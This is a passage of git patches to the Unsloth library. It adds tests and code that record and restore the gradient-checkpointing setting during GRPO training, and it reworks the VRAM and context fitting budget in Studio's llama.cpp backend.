+    assert len(exprs) >= 3, f"expected the 3 trainer-call restore sites, found {len(exprs)}"
+    for expr in exprs:
+        for recorded, args_gc, expected in _MATRIX:
+            got = _eval_ternary(expr, recorded, args_gc)
+            assert got == expected and type(got) is type(
+                expected
+            ), f"{expr!r}: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}"
+
+
+def _extract_prepare_restore_block():
+    """Pull the multi-line restore block out of ``prepare_for_training_mode``'s wrapper.
+
+    It lives inside an exec'd template string, so grab it textually: from the
+    ``_model = getattr(self, 'model', None)`` line through the closing
+    ``else:``/``use_gc = ...`` pair.
+    """
+    lines = _RL.splitlines()
+    start = next(
+        i for i, l in enumerate(lines) if l.strip() == "_model = getattr(self, 'model', None)"
+    )
+    # End at the fallback assignment rather than a fixed line count, so inserting
+    # lines into the block can't silently truncate what gets exec'd.
+    end = next(
+        i
+        for i, l in enumerate(lines)
+        if i > start and "use_gc = getattr(self.args, 'gradient_checkpointing', True)" in l
+    )
+    block = lines[start : end + 1]
+    # dedent to column 0 so it execs as a top-level block
+    indent = len(block[0]) - len(block[0].lstrip())
+    return "\n".join(l[indent:] for l in block)
+
+
+def test_prepare_for_training_mode_block_semantics():
+    block = _extract_prepare_restore_block()
+    # Must be valid Python (it's never seen by py_compile in the outer file).
+    ast.parse(block)
+
+    for recorded, args_gc, expected in _MATRIX:
+        model = _Obj(recorded = recorded)
+        args = _Obj(gradient_checkpointing = args_gc)
+        ns = {"self": _Self(model = model, args = args), "hasattr": hasattr, "getattr": getattr}
+        exec(block, {}, ns)
+        got = ns["use_gc"]
+        assert (
+            got == expected and type(got) is type(expected)
+        ), f"prepare block: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}"
+
+
+def test_prepare_block_tolerates_missing_model():
+    # gemini flagged the unguarded self.model access: the block reads self.model via
+    # getattr(self, 'model', None), so a trainer without a .model attribute must fall
+    # back to args rather than raising AttributeError.
+    block = _extract_prepare_restore_block()
+    args = _Obj(gradient_checkpointing = True)
+    self_no_model = _Self(model = None, args = args)  # _Self leaves .model unset when model is None
+    assert not hasattr(self_no_model, "model")
+    ns = {"self": self_no_model, "hasattr": hasattr, "getattr": getattr}
+    exec(block, {}, ns)
+    assert ns["use_gc"] is True
+
+
+def test_recording_sites_are_real_module_code():
+    # The recording side (unlike the restore side) is real module code, not a template
+    # string. Assert it's present at the choke point (patch_peft_model, so loaded adapters
+    # are covered) and at the pre-wrapped pass-through, both of which bypass the old
+    # get_peft_model-only recording.
+    llama = (_ROOT / "llama.py").read_text()
+    tree = ast.parse(llama)
+
+    def assigns_marker(node):
+        return any(
+            isinstance(n, ast.Assign)
+            and any(
+                isinstance(t, ast.Attribute) and t.attr == "_unsloth_gradient_checkpointing"
+                for t in n.targets
+            )
+            for n in ast.walk(node)
+        )
+
+    fns = {n.name: n for n in ast.walk(tree) if isinstance(n, ast.FunctionDef)}
+    assert "patch_peft_model" in fns and assigns_marker(
+        fns["patch_peft_model"]
+    ), "patch_peft_model must record _unsloth_gradient_checkpointing so loaded adapters are covered"
+    # The pass-through branch lives in get_peft_model.
+    assert assigns_marker(
+        fns["get_peft_model"]
+    ), "get_peft_model pass-through must record _unsloth_gradient_checkpointing"
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 14ee5ee24e..bb7289dfa8 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -3047,6 +3047,9 @@ class FastLlamaModel:
                 # Pre-wrapped PEFT model passes through here; still arm the detector so an RL
                 # trainer can reset a compile cache poisoned by a pre-train forward.
                 _unsloth_install_pretrain_detector(model)
+                # This branch returns before patch_peft_model, so record here too;
+                # apply_unsloth_gradient_checkpointing above already re-patched global state to match (#4735).
+                model._unsloth_gradient_checkpointing = use_gradient_checkpointing
                 model = _exclude_rope_inv_freq_from_ddp(model)
                 return model
             else:
@@ -3406,6 +3409,11 @@ class FastLlamaModel:
 
     @staticmethod
     def patch_peft_model(model, use_gradient_checkpointing = "unsloth"):
+        # Persist the effective GC mode so the trainer restores it verbatim: for_inference()
+        # clears the module flags every GRPO step, and a plain TrainingArguments defaults it to
+        # False, which would otherwise silently disable it at train time (#4735). Recorded here,
+        # not in get_peft_model, so adapters loaded via loader.py's from_pretrained path are covered.
+        model._unsloth_gradient_checkpointing = use_gradient_checkpointing
         if os.environ.get("UNSLOTH_USE_NEW_MODEL", "0") == "1":
             return FastBaseModel.patch_peft_model(
                 model = model,
diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index 602de69d3f..62ef9e916a 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -423,8 +423,14 @@ def prepare_for_training_mode(f):
                 pass
         # Enable training mode
         _was_training = None
-        # Get gradient checkpointing setting from training arguments
-        use_gc = getattr(self.args, 'gradient_checkpointing', True)
+        # Restore the GC mode the model was configured with at setup; fall back to
+        # the training args only when it wasn't recorded (issue #4735). Use hasattr,
+        # not a None sentinel, so a deliberately-recorded None is restored verbatim.
+        _model = getattr(self, 'model', None)
+        if hasattr(_model, '_unsloth_gradient_checkpointing'):
+            use_gc = _model._unsloth_gradient_checkpointing
+        else:
+            use_gc = getattr(self.args, 'gradient_checkpointing', True)
         if hasattr(self, 'model') and hasattr(self.model, "training"):
             _was_training = self.model.training
         if hasattr(self, 'model') and hasattr(self.model, "for_training"):
@@ -532,7 +538,8 @@ class Unsloth{RLTrainer_name}(_Unsloth{RLTrainer_name}):
             if getattr(args, "_n_gpu", 1) != 1:
                 args._n_gpu = 1
         if "model" in locals() and hasattr(model, "for_training"):
-            model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True))
+            _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True)
+            model.for_training(use_gradient_checkpointing=_use_gc)
         super().__init__({RLTrainer_call_args}{RLTrainer_kwargs})
         if "model" in locals() and hasattr(model, "for_inference"):
             model.for_inference()
@@ -1165,7 +1172,8 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
     if "model" in call_args:
         training_check = (
             "if model is not None and hasattr(model, 'for_training'):\n"
-            "    model.for_training(use_gradient_checkpointing=getattr(args, 'gradient_checkpointing', True))\n"
+            "    _use_gc = model._unsloth_gradient_checkpointing if hasattr(model, '_unsloth_gradient_checkpointing') else getattr(args, 'gradient_checkpointing', True)\n"
+            "    model.for_training(use_gradient_checkpointing=_use_gc)\n"
             "if 'tokenizer' in locals() and hasattr(tokenizer, 'padding_side'): tokenizer.padding_side = 'right'\n"
             "if 'processing_class' in locals():\n"
             "    if hasattr(processing_class, 'padding_side'): processing_class.padding_side = 'right'\n"
diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index d3ada23cf9..3be614cf4a 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -761,7 +761,8 @@ def grpo_trainer__generate_and_score_completions(function_name, function):
                 # Left pad prompt before calculation old and ref hidden states
                 left_pad_tokens_per_prompt = calculate_pad_tokens_in_prompt(prompt_completion_ids, logits_to_keep, self.processing_class.pad_token_id)
                 max_left_pad = torch.max(left_pad_tokens_per_prompt).item()
-        self.model.for_training(use_gradient_checkpointing=getattr(self.args, 'gradient_checkpointing', True))"""
+        _use_gc = self.model._unsloth_gradient_checkpointing if hasattr(self.model, '_unsloth_gradient_checkpointing') else getattr(self.args, 'gradient_checkpointing', True)
+        self.model.for_training(use_gradient_checkpointing=_use_gc)"""
 
     function = function.replace(line_to_replace, replacement_lines)
 
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 5ab55152db..689e362f95 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -1873,6 +1873,11 @@ class FastBaseModel:
             float32_mixed_precision = float32_mixed_precision,
             patch_modules_to_save = True,
         )
+        # Persist the configured GC mode so the trainer restores it verbatim.
+        # for_inference() clears the module flags (GRPO does this every generation
+        # step), and a plain TrainingArguments defaults gradient_checkpointing=False,
+        # which would otherwise silently disable this setting at train time (#4735).
+        model._unsloth_gradient_checkpointing = use_gradient_checkpointing
 
         # Gemma3N audio conformer processes variable-length audio tensors
         # that cause stride mismatches in AOT autograd compiled backward

From 9c2eacc35e3f5f3f33af3b2c3cad42a8dd4c5ec2 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Fri, 3 Jul 2026 09:07:30 -0700
Subject: [PATCH 190/306] Studio: reserve CUDA context and mmproj/MTP soft
 overhead in the GGUF fit budget (#6718)

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    | 337 ++++++++++++++++--
 studio/backend/tests/test_compute_buffer.py   | 142 +++++++-
 studio/backend/tests/test_slot_offload_fit.py | 115 ++++++
 studio/backend/tests/test_tensor_parallel.py  |  79 +++-
 4 files changed, 638 insertions(+), 35 deletions(-)
 create mode 100644 studio/backend/tests/test_slot_offload_fit.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 035e5d12c7..3ccfc5cdfe 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -801,7 +801,11 @@ _MTP_MIN_SIZE_B = 3.0
 # Cap total GPU occupancy at this fraction of the card. The fit reserves an
 # absolute (1 - frac) * total per GPU when total VRAM is known, else a fraction
 # of free (see _fit_context_to_vram), plus a byte-accurate MTP draft reserve.
-_CTX_FIT_VRAM_FRACTION = 0.95
+# 3%: the context-linear compute buffer is now modelled (_compute_buffer_ctx_bytes),
+# so this cushion no longer covers it - only fragmentation, the per-device CUDA
+# context on a multi-GPU split, and MoE routing, which measure ~2-3% (Qwen3.5-397B on
+# 3 GPUs under-predicts by 2.7%). Below 3% one fragmentation spike overflows to CPU.
+_CTX_FIT_VRAM_FRACTION = 0.97
 
 # Apple unified memory is shared with the OS, so tighter than VRAM. Matches the
 # 0.85 MLX uses in mlx_inference.py (_configure_memory_limits); not kept in sync.
@@ -2464,9 +2468,10 @@ class LlamaCppBackend:
             prev = curr
 
     # Free-VRAM fraction at which Studio pins the GPU directly instead of
-    # deferring to ``--fit on``. 5% headroom covers CUDA context + compute
-    # buffers; 0.90 dropped 91-94% fits to CPU offload (#5106).
-    _GPU_PIN_VRAM_FRACTION = 0.95
+    # deferring to ``--fit on``. 3% headroom: the compute buffer is now modelled in
+    # the fit, so this only guards fragmentation + multi-GPU per-device CUDA context
+    # (~2-3%); kept >= 3% as a floor (0.90 dropped 91-94% fits to CPU offload, #5106).
+    _GPU_PIN_VRAM_FRACTION = 0.97
 
     # Fallback per-device tensor-mode compute buffer (MiB), used only when GGUF
     # dims are unavailable so _estimate_compute_buffer_bytes (the primary, derived
@@ -3022,6 +3027,27 @@ class LlamaCppBackend:
 
     _DEFAULT_N_UBATCH = 512  # llama.cpp --ubatch default; Studio does not override it
     _COMPUTE_BUFFER_SAFETY = 1.15  # upper-bound margin on the compute-buffer estimate
+    # Soft VRAM the modeled terms omit; charged to the fit budget on tight tiers (#6682).
+    _CUDA_CONTEXT_RESERVE_BYTES = 320 * 1024 * 1024  # CUDA ctx + cuBLAS workspace (~330 MiB)
+    _MMPROJ_VRAM_SAFETY = 1.4  # mmproj worst-case buffer vs file size (runtime ~1.3x)
+    _MTP_DRAFT_COMPUTE_BYTES = 224 * 1024 * 1024  # MTP draft decode graph beyond its KV
+    # The flash-attn KQ mask + attention scratch grow ~linearly with context; the flat
+    # _estimate_compute_buffer_bytes term only covers ctx -> 0. The per-token rate
+    # depends on the KV cache type: a QUANTIZED cache (q8_0/q5/q4/iq4) needs a
+    # context-sized dequant scratch that scales with n_embd, measured at 0.74-2.02 x
+    # n_embd across Qwen3.5/3.6 (2B/4B/9B/27B) and Gemma-4 (12B/31B) at q8_0; an
+    # f16/bf16/f32 cache skips the dequant and pays only the KQ mask, a flat n_ubatch*2
+    # bytes per context token regardless of n_embd (measured 1024 B/tok on Qwen-9B and
+    # Gemma-31B alike). So Qwen3.5-4B at 256k is 1.30 GiB at q8_0 vs 0.31 GiB at f16.
+    # 2.25 covers the worst quantized case (Qwen3.5-4B, ~2.0x) plus the under-modeled
+    # flat base; the mask safety covers the f16 base gap. Without this term, tight tiers
+    # at extreme context over-pin and spill to CPU (the 3% cushion is only ~0.25 GiB on
+    # an 8 GB card, far below the ~1-2.4 GiB quantized buffer at 256k): e.g. Qwen3.5-4B
+    # Q4 at 256k needs ~8.5 GiB on a real 8 GB card (weights 2.4 + KV 4.3 + compute 1.3
+    # + CUDA ctx) -> CPU spill; with this reserve the auto context caps to ~210k, fits.
+    _CTX_COMPUTE_BYTES_PER_EMBD = 2.25  # quantized KV, regular attention (dequant scratch)
+    _CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25  # quantized KV, MLA (compressed attn: measured 0.94x)
+    _CTX_COMPUTE_F16_MASK_SAFETY = 1.5  # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok)
 
     def _estimate_compute_buffer_bytes(
         self,
@@ -3052,6 +3078,85 @@ class LlamaCppBackend:
             compute = act_scratch + out_buffer * max(0, par - 1)
         return int(compute * self._COMPUTE_BUFFER_SAFETY)
 
+    def _compute_buffer_ctx_bytes(
+        self,
+        n_ctx: int,
+        n_ubatch: Optional[int] = None,
+        cache_type_kv: Optional[str] = None,
+    ) -> int:
+        """Context-linear growth of the per-device compute buffer (bytes), charged
+        on top of the flat ``_estimate_compute_buffer_bytes``. The flash-attn KQ
+        mask + attention scratch scale ~linearly with context and with the micro-
+        batch; the flat term only covers ctx -> 0. A quantized KV cache adds a
+        context-sized dequant scratch that scales with n_embd; f16/bf16/f32 pays only
+        the KQ mask, a flat n_ubatch*2 bytes per context token. ``cache_type_kv`` None
+        -> f16 (llama.cpp's default; an env-set quantized cache is budgeted as f16 on
+        the KV side, whose over-reservation absorbs the dequant scratch). Returns 0
+        when dims are missing or ``n_ctx`` <= 0."""
+        n_embd = self._embedding_length or 0
+        if n_embd <= 0 or n_ctx <= 0:
+            return 0
+        ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH))
+        if _kv_bytes_per_elem(cache_type_kv) < 2.0:
+            # Quantized cache: the dequant scratch dominates and scales with n_embd.
+            # MLA (compressed KV) needs far less of it: measured 0.94 x n_embd on
+            # GLM-5.2 and Kimi-K2.7 vs up to 2.02x on regular attention.
+            ub_scale = ub / self._DEFAULT_N_UBATCH
+            rate = (
+                self._CTX_COMPUTE_BYTES_PER_EMBD_MLA
+                if self._key_length_mla
+                else self._CTX_COMPUTE_BYTES_PER_EMBD
+            )
+            per_tok = rate * n_embd * ub_scale
+        else:
+            # f16/bf16/f32: only the KQ mask ([n_kv, n_ubatch] f16), n_embd-independent.
+            per_tok = ub * 2 * self._CTX_COMPUTE_F16_MASK_SAFETY
+        return int(per_tok * n_ctx)
+
+    def _slots_that_fit_on_gpu(
+        self,
+        n_parallel: int,
+        effective_ctx: int,
+        gpus: list[tuple[int, int]],
+        total_by_idx: Optional[dict[int, int]],
+        base_footprint_bytes: int,
+        cache_type_kv: Optional[str],
+        pin_fraction: float,
+        per_device_overhead_bytes: int,
+        min_gpus: int,
+        n_ubatch: Optional[int] = None,
+    ) -> tuple[Optional[list[int]], bool, int]:
+        """Largest serving-slot count in [1, n_parallel) whose fully-on-GPU footprint fits,
+        so Studio keeps the model on GPU (-ngl -1) instead of --fit on, which offloads layers
+        to host and collapses decode ~3x (oobabooga #6718). ``base_footprint_bytes`` is the
+        slot-independent footprint (weights + soft overhead + MTP + context-linear compute,
+        minus the folded compute buffer); each candidate re-adds the slot-sized compute buffer
+        and KV, then re-selects GPUs like the explicit-context path. Returns (gpu_indices,
+        use_fit=False, slots) for the largest fitting count, else (None, True, n_parallel).
+        Only ever reduces; deterministic and unit-testable with synthetic VRAM maps."""
+        for slots in range(n_parallel - 1, 0, -1):
+            cb = self._estimate_compute_buffer_bytes(
+                n_ubatch = n_ubatch, n_parallel = slots, per_device_tensor = False
+            )
+            if cb <= 0:
+                cb = self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024
+            total = (
+                base_footprint_bytes
+                + cb
+                + self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = slots)
+            )
+            gpu_indices, use_fit = self._select_gpus(
+                total,
+                gpus,
+                usable_fraction = pin_fraction,
+                total_by_idx = total_by_idx,
+                per_device_overhead_bytes = per_device_overhead_bytes,
+                min_gpus = min_gpus,
+            )
+            if not use_fit:
+                return gpu_indices, False, slots
+        return None, True, n_parallel
+
     def _fit_context_to_vram(
         self,
         requested_ctx: int,
@@ -3067,6 +3172,7 @@ class LlamaCppBackend:
         kv_on_gpu: bool = True,
         mtp_engaged: bool = False,
         mtp_overhead_fn: Optional[Callable[[int], int]] = None,
+        compute_ctx_bytes_fn: Optional[Callable[[int], int]] = None,
         budget_frac: Optional[float] = None,
         total_mib: Optional[int] = None,
     ) -> int:
@@ -3118,9 +3224,14 @@ class LlamaCppBackend:
         def _mtp_at(ctx: int) -> int:
             return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
 
+        def _cc_at(ctx: int) -> int:
+            # Context-linear compute-buffer growth (flash-attn KQ mask + scratch);
+            # the flat term in model_footprint only covers ctx -> 0.
+            return compute_ctx_bytes_fn(ctx) if compute_ctx_bytes_fn is not None else 0
+
         # Already fits?
         kv = self._estimate_kv_cache_bytes(requested_ctx, cache_type_kv, **kv_kwargs)
-        if model_footprint + kv + _mtp_at(requested_ctx) <= budget_bytes:
+        if model_footprint + kv + _mtp_at(requested_ctx) + _cc_at(requested_ctx) <= budget_bytes:
             return requested_ctx
 
         # Weights + compute buffer alone exceed budget -- reducing ctx can't help.
@@ -3141,7 +3252,7 @@ class LlamaCppBackend:
         while lo <= hi:
             mid = (lo + hi) // 2
             kv = self._estimate_kv_cache_bytes(mid, cache_type_kv, **kv_kwargs)
-            if kv + _mtp_at(mid) <= remaining:
+            if kv + _mtp_at(mid) + _cc_at(mid) <= remaining:
                 best = mid
                 lo = mid + 1
             else:
@@ -4288,6 +4399,7 @@ class LlamaCppBackend:
         max_target_ctx: Optional[int] = None,
         total_by_idx: Optional[dict[int, int]] = None,
         n_ubatch: Optional[int] = None,
+        soft_overhead_bytes: int = 0,
     ) -> tuple[int, int, list[int], Optional[list[int]]]:
         """Plan a ``--split-mode tensor`` load. Pure: no model or GPU needed.
 
@@ -4299,9 +4411,11 @@ class LlamaCppBackend:
         ``(effective_ctx, max_available_ctx, gpu_indices, tensor_split)``.
 
         Policy (assumes >= 2 GPUs; the caller drops the toggle below that):
-        - Cap context to the KV that fits the pooled VRAM after the weights and
-          one per-device compute-graph buffer (``_estimate_compute_buffer_bytes``,
-          deterministic from dims; flat fallback when dims are unavailable).
+        - Cap context to the KV that fits the pooled VRAM after the weights, one
+          per-device flat compute-graph buffer (``_estimate_compute_buffer_bytes``,
+          deterministic from dims; flat fallback when dims are unavailable), and the
+          per-device context-linear compute growth (``_compute_buffer_ctx_bytes``,
+          replicated on every device in tensor mode, so summed over the split).
           llama.cpp's ``--fit`` is a no-op in tensor mode, so this is the only
           cap, honored even for an explicit ``-c``. It is more accurate than the
           0.80 whole-pool heuristic, which over-reserves and leaves VRAM unused.
@@ -4310,7 +4424,9 @@ class LlamaCppBackend:
           share fits the smallest GPU; otherwise it is weighted by usable budget
           so the roomier GPU absorbs more weight and the smallest keeps room for KV.
         ``total_by_idx`` enables the total-based occupancy cap; ``n_ubatch`` sizes
-        the compute buffer.
+        the compute buffer. ``soft_overhead_bytes`` is the CUDA-context / mmproj /
+        MTP-draft-graph reserve the layer path folds into ``model_size_fit``;
+        charged against the pooled budget so tensor mode reserves the same overhead.
         """
 
         # Per-GPU usable budget: free - (1-frac)*total, else (unknown total, e.g. a
@@ -4356,16 +4472,40 @@ class LlamaCppBackend:
         flat_mtp_bytes = max(0, mtp_flat_reserve_bytes)
         if mtp_engaged and mtp_overhead_fn is None:
             flat_mtp_bytes = max(flat_mtp_bytes, 2 * 1024**3)
+        # soft_overhead_bytes is the CUDA-context / mmproj / MTP-draft-graph reserve
+        # the layer path folds into model_size_fit. Tensor mode has no --fit valve, so
+        # an unreserved overshoot OOMs at startup rather than offloading; charge it here
+        # too. Once (pooled), mirroring the layer path -- the per-device CUDA context is
+        # a known slight under-charge, left for real multi-GPU data.
         kv_budget_b = (
-            (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 - model_size - flat_mtp_bytes
+            (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024
+            - model_size
+            - flat_mtp_bytes
+            - max(0, soft_overhead_bytes)
         )
 
         def _mtp_at(ctx: int) -> int:
             return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
 
+        # Context-linear compute buffer, summed over the split. Tensor mode
+        # replicates the compute graph on EVERY device (measured: the per-device
+        # buffer grows a flat n_ubatch*2 bytes/token, ~1024 B/tok on Qwen3.5-9B at
+        # f16, independent of n_embd), so the growth is n_dev x the per-device
+        # term. cache_type_kv here is always non-quantized (tensor forces f16), so
+        # _compute_buffer_ctx_bytes returns the light KQ-mask term, not the heavy
+        # quantized dequant scratch. The flat reserve_mib above only covers ctx->0;
+        # without this the fit over-pins and OOMs at high context on a tight pool
+        # (0.5-4 GiB unreserved at 262k-1M across 2-4 GPUs), the tensor-mode analog
+        # of the layer-split compute bug.
+        n_dev = len(gpu_indices)
+
+        def _cc_ctx(ctx: int) -> int:
+            return n_dev * self._compute_buffer_ctx_bytes(ctx, n_ubatch, cache_type_kv)
+
         def _fit_ctx(ctx: int) -> int:
-            # Largest context whose KV (+ MTP draft reserve) fits the pooled
-            # budget. Floors small, but never raises an explicit ctx above asked.
+            # Largest context whose KV (+ MTP draft reserve + context-linear
+            # compute) fits the pooled budget. Floors small, but never raises an
+            # explicit ctx above asked.
             if self._can_estimate_kv() and ctx > 0:
                 ctx_floor = min(2048, ctx)
                 if kv_budget_b <= 0:
@@ -4373,11 +4513,13 @@ class LlamaCppBackend:
                     # falls back to layer split.
                     return ctx_floor
                 if mtp_overhead_fn is not None:
-                    # kv(ctx)+mtp(ctx) is not single-linear, so binary search.
+                    # kv(ctx)+mtp(ctx)+compute(ctx) is not single-linear, so binary search.
                     def _consumer(c: int) -> int:
-                        return self._estimate_kv_cache_bytes(
-                            c, cache_type_kv, n_parallel = n_parallel
-                        ) + _mtp_at(c)
+                        return (
+                            self._estimate_kv_cache_bytes(c, cache_type_kv, n_parallel = n_parallel)
+                            + _mtp_at(c)
+                            + _cc_ctx(c)
+                        )
 
                     if _consumer(ctx) <= kv_budget_b:
                         return ctx
@@ -4391,9 +4533,10 @@ class LlamaCppBackend:
                             hi = mid - 1
                     return best
                 kv_at = self._estimate_kv_cache_bytes(ctx, cache_type_kv, n_parallel = n_parallel)
-                if kv_at <= kv_budget_b:
+                total_at = kv_at + _cc_ctx(ctx)  # both ~linear through the origin
+                if total_at <= kv_budget_b:
                     return ctx
-                return max(ctx_floor, int(ctx * kv_budget_b / kv_at))
+                return max(ctx_floor, int(ctx * kv_budget_b / total_at))
             # KV size unknown -> can't prove a safe cap; floor.
             return min(4096, ctx) if ctx > 0 else 4096
 
@@ -4413,10 +4556,23 @@ class LlamaCppBackend:
         # The MTP reserve also has to fit the even split (mirror the pooled budget):
         # byte-accurate per-ctx (0 when no fn) plus the same flat cushion as above.
         mtp_bytes = (_mtp_at(effective_ctx) if effective_ctx > 0 else 0) + flat_mtp_bytes
-        even_share_mib = (model_size + kv_bytes + mtp_bytes) / len(gpu_indices) / (1024 * 1024)
+        # Context-linear compute is replicated per device; charge the whole split so
+        # the weighted ratio reflects it (mirrors kv_budget_b's per-device reserve).
+        cc_bytes = _cc_ctx(effective_ctx) if effective_ctx > 0 else 0
+        even_share_mib = (
+            (model_size + kv_bytes + mtp_bytes + cc_bytes) / len(gpu_indices) / (1024 * 1024)
+        )
         tensor_split: Optional[list[int]] = None
         if even_share_mib > (min_usable_mib - reserve_mib):
-            adj = [max(0, int(usable_by_idx[i] - reserve_mib)) for i in gpu_indices]
+            # Each device also holds its replicated share of the context-linear
+            # compute (cc_bytes/n_dev) on top of the flat reserve. The even-share
+            # gate above charges cc_bytes; the split weights must subtract it too, or
+            # the smaller card is weighted above its real usable budget and OOMs (the
+            # per-device analog of the layer path's per-GPU overhead in _select_gpus).
+            cc_per_dev_mib = (cc_bytes // len(gpu_indices)) // (1024 * 1024) if cc_bytes else 0
+            adj = [
+                max(0, int(usable_by_idx[i] - reserve_mib - cc_per_dev_mib)) for i in gpu_indices
+            ]
             if sum(adj) > 0:
                 tensor_split = adj
         return effective_ctx, max_available_ctx, gpu_indices, tensor_split
@@ -5179,6 +5335,20 @@ class LlamaCppBackend:
                     # compute buffer); None -> the 512 default in the estimate.
                     _effective_ubatch = _extra_args_n_ubatch(extra_args)
 
+                    def _cc_bytes(ctx: int, n_gpus: int = 1) -> int:
+                        # Context-linear compute-buffer growth (flash-attn KQ mask +
+                        # attention scratch); the flat _compute_buffer_pipeline folded
+                        # into model_size_fit only covers ctx -> 0. Charged per
+                        # candidate context so the fit can't over-pin and spill. The
+                        # rate depends on the KV cache type (quantized adds a dequant
+                        # scratch), so pass it through. In a layer split this buffer is
+                        # replicated on EVERY device (measured ~equal per GPU), so scale
+                        # by the device count; a large model at high context otherwise
+                        # under-reserves ~(n-1)x it (e.g. Qwen3.5-397B on 3 GPUs).
+                        return max(1, n_gpus) * self._compute_buffer_ctx_bytes(
+                            ctx, _effective_ubatch, cache_type_kv
+                        )
+
                     # Layer-split compute buffer (one lump; tensor mode reserves it
                     # per device in _plan_tensor_parallel). Context-independent, so
                     # fold it into the model footprint for the branches below. Falls
@@ -5193,7 +5363,6 @@ class LlamaCppBackend:
                         _compute_buffer_pipeline = (
                             self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024
                         )
-                    model_size_fit = model_size + _compute_buffer_pipeline
 
                     # Layer split adds a fixed per-device overhead on every GPU. The
                     # folded buffer covers one device; reserve the extra devices'
@@ -5201,9 +5370,6 @@ class LlamaCppBackend:
                     # (k=1 adds nothing).
                     _pipeline_overhead_bytes = self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024
 
-                    def _subset_model_size(n_gpus: int) -> int:
-                        return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes
-
                     # Auto-cap context to fit VRAM and select GPUs. Explicit n_ctx:
                     # honor it, cap only if it fits no combination. Auto (native):
                     # prefer fewer GPUs with reduced context (multi-GPU is slower).
@@ -5230,6 +5396,21 @@ class LlamaCppBackend:
                         else 0.0
                     )
                     _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve
+
+                    # Charge the soft overhead _CTX_FIT_VRAM_FRACTION under-covers on tight
+                    # tiers, gated so plain dense loads (#5106) only pay the CUDA-ctx base.
+                    # CUDA/cuBLAS context is discrete-GPU only (not Metal); the mmproj and
+                    # MTP draft-graph buffers exist on every backend.
+                    _soft_overhead = self._CUDA_CONTEXT_RESERVE_BYTES if gpus else 0
+                    if effective_is_vision and mmproj_size > 0:
+                        _soft_overhead += int(mmproj_size * (self._MMPROJ_VRAM_SAFETY - 1.0))
+                    if _mtp_reserves_gpu:
+                        _soft_overhead += self._MTP_DRAFT_COMPUTE_BYTES
+                    model_size_fit = model_size + _compute_buffer_pipeline + _soft_overhead
+
+                    def _subset_model_size(n_gpus: int) -> int:
+                        return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes
+
                     # Unified-memory budget (0 off Apple Silicon) for the no-GPU Metal cap below.
                     _apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024)
 
@@ -5334,7 +5515,9 @@ class LlamaCppBackend:
                                 _tp_flat_mtp,
                                 _mtp_bytes(min(2048, effective_ctx) if effective_ctx > 0 else 2048),
                             )
-                        _tp_required_mib = (model_size + _tp_mtp_floor) / (1024 * 1024)
+                        _tp_required_mib = (model_size + _tp_mtp_floor + _soft_overhead) / (
+                            1024 * 1024
+                        )
                         if _tp_weight_budget_mib <= _tp_required_mib:
                             logger.info(
                                 "Tensor parallelism requested but the pooled VRAM "
@@ -5383,6 +5566,7 @@ class LlamaCppBackend:
                             max_target_ctx = self._context_length or target_ctx,
                             total_by_idx = total_by_idx,
                             n_ubatch = _effective_ubatch,
+                            soft_overhead_bytes = _soft_overhead,
                         )
                         use_fit = False
                     elif gpus and self._can_estimate_kv() and effective_ctx > 0:
@@ -5407,6 +5591,9 @@ class LlamaCppBackend:
                                 # budget so the fit and the check below agree.
                                 pool_budget = _pool_budget_mib(subset, _cap_fraction)
                                 _ms = _subset_model_size(n_gpus)
+                                # Compute buffer is replicated per device in a layer
+                                # split, so scale the context term by the subset size.
+                                _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n)
                                 capped = self._fit_context_to_vram(
                                     native_ctx_for_cap,
                                     pool_budget,
@@ -5415,13 +5602,16 @@ class LlamaCppBackend:
                                     n_parallel = n_parallel,
                                     mtp_engaged = _mtp_reserves_gpu,
                                     mtp_overhead_fn = mtp_overhead_fn,
+                                    compute_ctx_bytes_fn = _cc_sub,
                                     budget_frac = 1.0,
                                     total_mib = None,
                                 )
                                 kv = self._estimate_kv_cache_bytes(
                                     capped, cache_type_kv, n_parallel = n_parallel
                                 )
-                                footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
+                                footprint_mib = (
+                                    _ms + kv + _mtp_bytes(capped) + _cc_sub(capped)
+                                ) / (1024 * 1024)
